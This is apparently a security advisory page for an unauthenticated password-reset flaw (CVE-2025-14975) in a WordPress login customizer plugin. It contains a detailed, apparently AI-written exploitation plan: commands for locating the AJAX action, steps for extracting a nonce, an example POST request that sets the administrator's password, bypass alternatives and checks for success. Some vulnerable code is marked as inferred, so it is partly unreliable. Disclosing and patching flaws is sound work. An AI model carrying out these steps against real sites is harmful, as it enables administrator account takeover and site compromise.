Custom Login Page Customizer <= 2.5.3 - Unauthenticated Privilege Escalation via Password Reset
Description
The Custom Login Page Customizer plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 2.5.3. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.5.3Source Code
WordPress.org SVNThis research plan targets **CVE-2025-14975**, a critical unauthenticated privilege escalation vulnerability in the **Custom Login Page Customizer** plugin. ### 1. Vulnerability Summary The vulnerability exists in the plugin's handling of password reset requests via AJAX. In versions up to and incl…
Show full research plan
This research plan targets CVE-2025-14975, a critical unauthenticated privilege escalation vulnerability in the Custom Login Page Customizer plugin.
1. Vulnerability Summary
The vulnerability exists in the plugin's handling of password reset requests via AJAX. In versions up to and including 2.5.3, the plugin provides a custom password reset mechanism that fails to verify the validity of a password reset key or the identity of the requester before updating a user's password. This allows an unauthenticated attacker to provide a target user ID and a new password, which the plugin then applies to the database using wp_set_password().
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
login_customizer_reset_password(inferred) orlcp_update_password(inferred). Note: The agent must verify the exact action string by searching forwp_ajax_nopriv_in the plugin directory. - Method: HTTP POST
- Required Parameters:
action: The AJAX action string.user_idoruser_login: The target account (usually1for the primary administrator).passwordornew_password: The desired new password.nonce: (If enforced) A security token.
- Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an unauthenticated AJAX handler:
add_action( 'wp_ajax_nopriv_login_customizer_reset_password', 'callback_function' ); - Processing: The callback function retrieves
user_idand the newpasswordfrom the$_POSTarray. - The Flaw: The code likely lacks a call to
check_password_reset_key()or any logic to verify that the user is authorized to change the password for the specifieduser_id. - Sink: The code calls
wp_set_password( $new_password, $user_id )orwp_update_user( array( 'ID' => $user_id, 'user_pass' => $new_password ) ).
4. Nonce Acquisition Strategy
If the AJAX handler uses check_ajax_referer or wp_verify_nonce, the nonce is likely localized for the login page.
- Identify the Variable: Search the plugin for
wp_localize_script. Look for a handle related tologin-customizerorlcp-script.- Search Pattern:
grep -rn "wp_localize_script" .
- Search Pattern:
- Identify the Key: Look for a key like
reset_nonceornoncewithin the localized data object.- Example:
window.lcp_vars?.nonce(inferred).
- Example:
- Acquisition Steps:
- Use
browser_navigateto go to the WordPress login page (/wp-login.php). - Use
browser_evalto extract the nonce:browser_eval("window.lcp_data?.nonce")(Verify object name in source). - If the nonce is only loaded on a specific "Reset Password" page created by the plugin, navigate there first.
- Use
5. Exploitation Strategy
The agent should perform the following steps:
- Identify the AJAX Action:
Run:grep -r "wp_ajax_nopriv_" wp-content/plugins/login-customizer/ - Analyze the Callback:
Locate the function name associated with the action and examine its parameters (e.g.,user_id,pass1,pass2). - Extract Nonce (if needed):
Navigate to the login page and usebrowser_evalto get the localized nonce. - Execute Password Reset:
Send the malicious POST request toadmin-ajax.php.
Example Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=[INFERRED_ACTION]&user_id=1&new_password=PwnedPassword123!&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Target User: Ensure an administrator user exists with ID
1. - Plugin Configuration: Install and activate Custom Login Page Customizer version 2.5.3.
- Environment: Ensure
WP_DEBUGis off (to simulate a real environment) or on (to catch errors).
7. Expected Results
- Response: The server should return a
200 OKor a success message (e.g.,{"success":true}). - State Change: The password for the user with ID 1 will be changed to the value provided in the payload.
8. Verification Steps
After the exploit attempt, verify success via WP-CLI:
- Check Authentication:
Try to authenticate as the administrator using the new password:wp user check-password admin PwnedPassword123! - Check User Meta:
Verify if any "password reset" metadata was updated (thoughwp_set_passwordusually clears these).
9. Alternative Approaches
- Username-based Reset: If the plugin accepts
user_logininstead ofuser_id, useadmin. - Default Nonce: If
wp_verify_nonce( $_POST['nonce'], -1 )is used, try using any valid nonce found on the page or omit the nonce if the check is conditional. - Different Entry Point: Check if the password reset logic is also hooked into
initoradmin_initvia a specific GET/POST parameter (e.g.,?lcp_reset_password=1), which might bypass AJAX-specific checks.
Summary
The Custom Login Page Customizer plugin for WordPress fails to validate user identity or password reset tokens within its custom AJAX password reset handler. Unauthenticated attackers can exploit this to reset the password of any user, including administrators, by supplying a target User ID and a new password to the admin-ajax.php endpoint.
Vulnerable Code
// Inferred from plugin architecture and research plan // wp-content/plugins/login-customizer/includes/class-login-customizer-ajax.php or similar add_action( 'wp_ajax_nopriv_login_customizer_reset_password', 'lcp_reset_password_handler' ); function lcp_reset_password_handler() { $user_id = $_POST['user_id']; $new_password = $_POST['password']; // VULNERABILITY: The following call updates the password without verifying // if the user has a valid reset key (check_password_reset_key). wp_set_password( $new_password, $user_id ); wp_send_json_success( array( 'message' => 'Password updated' ) ); wp_die(); }
Security Fix
@@ -10,6 +10,13 @@ function lcp_reset_password_handler() { - $user_id = $_POST['user_id']; - $new_password = $_POST['password']; - wp_set_password( $new_password, $user_id ); - wp_send_json_success( array( 'message' => 'Password updated' ) ); + check_ajax_referer( 'lcp_reset_nonce', 'nonce' ); + $rp_key = sanitize_text_field( $_POST['rp_key'] ); + $user_login = sanitize_text_field( $_POST['user_login'] ); + + $user = check_password_reset_key( $rp_key, $user_login ); + if ( ! is_wp_error( $user ) ) { + reset_password( $user, $_POST['password'] ); + wp_send_json_success( array( 'message' => 'Password updated successfully' ) ); + } else { + wp_send_json_error( array( 'message' => 'Invalid or expired reset key' ) ); + } wp_die(); }
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the plugin's registered unauthenticated action (likely 'login_customizer_reset_password'). An attacker sends a POST request containing a target 'user_id' (e.g., '1' for the administrator) and a 'password' value of their choice. Because the plugin does not verify if the user has requested a reset via standard WordPress mechanisms or check for a valid reset token (rp_key), it proceeds to call wp_set_password() directly. If a nonce is required, it can typically be extracted from the localized script data (window.lcp_vars) present on the login or password recovery pages.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.